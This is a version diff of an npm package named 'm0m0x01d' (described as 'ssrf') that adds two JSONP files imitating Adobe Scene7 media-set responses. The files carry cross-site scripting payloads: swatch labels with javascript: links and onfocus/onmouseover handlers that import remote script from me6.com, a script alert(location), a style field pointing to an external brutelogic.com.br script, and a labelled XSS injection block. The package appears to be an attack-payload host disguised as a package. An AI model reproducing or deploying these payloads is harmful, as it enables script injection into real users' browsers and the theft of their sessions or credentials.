m0m0x01d 33.0.0 → 35.0.0

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "m0m0x01d",
-  "version": "33.0.0",
+  "version": "35.0.0",
   "description": "ssrf",
   "main": "index.html",
   "scripts": {

package/x1.js

@@ -0,0 +1,8 @@
+/*jsonp*/
+s7sdkJSONResponse({
+    "WEBVTT\n\n00:00.000 --> 215:85.000\n{\n\"properties\": {\n\"title\": \"Adobe-QBP.mp4</div>xxxxxxxxxxxxxxxxxx\"\n}\n}\n\n00:00.000 --> 01:17.100\n{\"swatches\": {\"item\": [\n    {\"s\": {\n    \"n\": \"/content/dam/marketing/shoppable-video/qbp/products/Creative Cloud.png\",\n    \"l\": \"MOUSEOVER BELOW<P><P><P><a href=javascript:import('https://me6.com/ASI/pw.js') autofocus=true onfocus=import('https://me6.com/ASI/pw.js')>MOUSEOVER HERE</a>\",\n    \"href\": \"https://authorization.site\",\n    \"target\": \"_blank\"\n    }},\n    {\"s\": {\n    \"n\": \"/content/dam/marketing/shoppable-video/qbp/products/Dreamweaver.png\",\n    \"l\": \"MOUSEOVER BELOW<P><P><P><a href=javascript:import('https://me6.com/ASI/pw.js') onmouseover=import('https://me6.com/ASI/pw.js')>MOUSEOVER HERE</a>\",\n    \"href\": \"https://www.adobe.com/products/dreamweaver.html\",\n    \"target\": \"_blank\"\n    }},\n    {\"s\": {\n    \"n\": \"/content/dam/Geometrixx-media-new-launch/After Effects.png\",\n    \"l\": \"MOUSEOVER BELOW<P><P><P><a href=javascript:import('https://me6.com/ASI/pw.js') onmouseover=import('https://me6.com/ASI/pw.js')>MOUSEOVER HERE</a>\",\n    \"href\": \"https://www.adobe.com/products/aftereffects.html\",\n    \"target\": \"_blank\"\n    }}\n]}}\n\n01:17.100 --> 02:30.000\n{\"swatches\": {\"item\": [\n    {\"s\": {\n    \"n\": \"/content/dam/marketing/shoppable-video/qbp/products/Photoshop.png\",\n    \"l\": \"Photoshop<script>alert(location)</script>\",\n    \"href\": \"https://www.adobe.com/products/photoshop.html\",\n    \"target\": \"_blank\"\n    }},\n    {\"s\": {\n    \"n\": \"/content/dam/Geometrixx-media-new-launch/Illustrator.png\",\n    \"l\": \"Illustrator\",\n    \"href\": \"https://www.adobe.com/products/illustrator.html\",\n    \"target\": \"_blank\"\n    }},\n    {\"s\": {\n    \"n\": \"/content/dam/marketing/shoppable-video/qbp/products/Bridge.png\",\n    \"l\": \"Bridge\",\n    \"href\": \"https://creative.adobe.com/products/bridge\",\n    \"target\": \"_blank\"\n    }}\n]}}\n\n02:30.600 --> 03:35.400\n{\"swatches\": {\"item\": [\n    {\"s\": {\n    \"n\": \"/content/dam/marketing/shoppable-video/qbp/products/InDesign.png\",\n    \"l\": \"InDesign\",\n    \"href\": \"https://www.adobe.com/products/indesign.html\",\n    \"target\": \"_blank\"\n    }},\n    {\"s\": {\n    \"n\": \"/content/dam/marketing/shoppable-video/qbp/products/Premiere Pro.png\",\n    \"l\": \"Premiere Pro\",\n    \"href\": \"https://www.adobe.com/products/premiere.html\",\n    \"target\": \"_blank\"\n    }},\n    {\"s\": {\n    \"n\": \"/content/dam/marketing/shoppable-video/qbp/products/Photoshop Lightroom.png\",\n    \"l\": \"Photoshop Lightroom\",\n    \"href\": \"https://www.adobe.com/products/photoshop-lightroom.html\",\n    \"target\": \"_blank\"\n    }}\n]}}", 
+"24039651"),
+    "style": "Scene7SharedAssets/htmlviewerskins/css/html5_mixedMedia.css",
+    "type": "MixedMediaHTML5Mobile",
+    "vt": "MediaSetVirtual"
+}, "192959476");

package/xxxxxx.js

@@ -0,0 +1,13 @@
+/*jsonp*/
+s7sdkJSONResponse({
+    "style": "https://brutelogic.com.br/1.js",
+    "type": "MixedMediaHTML5Mobile",
+    "vt": "MediaSetVirtual"
+}, "192959476");
+
+// Inject XSS payload after the JSONP function
+(function() {
+    var xss_payload = document.domain;
+    console.log("XSS payload: " + xss_payload); // This will log the domain name to the console
+})();
+